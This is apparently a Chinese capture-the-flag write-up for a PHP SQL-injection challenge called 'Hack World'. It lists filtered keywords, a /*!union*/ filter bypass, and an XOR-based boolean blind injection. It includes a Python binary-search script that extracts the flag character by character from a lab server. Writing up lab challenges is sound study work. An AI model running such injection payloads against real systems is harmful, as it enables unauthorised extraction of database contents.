Hack World
打开环境 题目提示是Php 和 sql注入
所以先按常规的SQL来测试一下1
2
3
4
5输入
1 一句骚话
2 一句骚话
1' bool(false)
1'# SQL Injection Checked.
尝试一下:1
2
3
4联合注入:unin被过滤
报错注入:and、or、updatexml被过滤
bool注入和time注入:and、or被过滤
可以通过fuzz测试(模糊测试),发现哪些字符被过滤了。length为482的,全都是被过滤的。
这里没啥 思路了 但是通过bool(false) 可以判断应该是布尔盲注把
看看WP
这里考的是异或注入:
1^1=0
1^0=1
另外还学到了1
利用/*!union*/可以绕过对union的过滤 但是这题不能用 先存着
由于不会写脚本 所以找了个大师傅的二分脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27# -*- coding: utf-8 -*-
import requests
import time
url = "http://a5b5ef4b-d1ce-48aa-a3cf-31243ef82374.node3.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
print(payload)
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
得到flag
不会写脚本 好多题都没法做 唉